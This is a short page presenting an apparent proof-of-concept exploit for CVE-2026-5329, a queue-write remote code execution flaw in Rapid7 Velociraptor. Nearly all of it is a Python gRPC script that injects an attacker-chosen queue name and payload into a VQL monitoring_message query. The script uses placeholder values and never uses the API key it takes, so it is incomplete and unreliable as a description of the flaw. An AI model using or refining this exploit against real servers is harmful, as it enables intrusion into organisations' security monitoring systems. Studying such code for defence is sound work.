CVE-2026-5329 Rapid7 Velociraptor 队列写入致RCE

# This is a conceptual PoC for CVE-2026-5329 # It demonstrates how a crafted monitoring message might be sent. import grpc import velociraptor_pb2 import velociraptor_pb2_grpc class Exploit: def __init__(self, host, port, api_key): self.host = host self.port = port self.api_key = api_key self.channel = grpc.insecure_channel(f'{host}:{port}') self.stub = velociraptor_pb2_grpc.APIStub(self.channel) def send_malicious_message(self, malicious_queue_name, payload): # Construct a monitoring message # The vulnerability lies in 'queue_name' not being validated message = velociraptor_pb2.VQLClientArgs( Query=f"SELECT * FROM monitoring_message(queue='{malicious_queue_name}', data='{payload}')" ) try: response = self.stub.Query(message) print(f"[+] Payload sent to internal queue: {malicious_queue_name}") print(f"[+] Response: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage # Targeting a hypothetical internal privileged queue TARGET_QUEUE = "System.Queue.Manager.Internal" PAYLOAD = "malicious_command_to_execute" exp = Exploit("127.0.0.1", 8001, "VALID_API_KEY") exp.send_malicious_message(TARGET_QUEUE, PAYLOAD)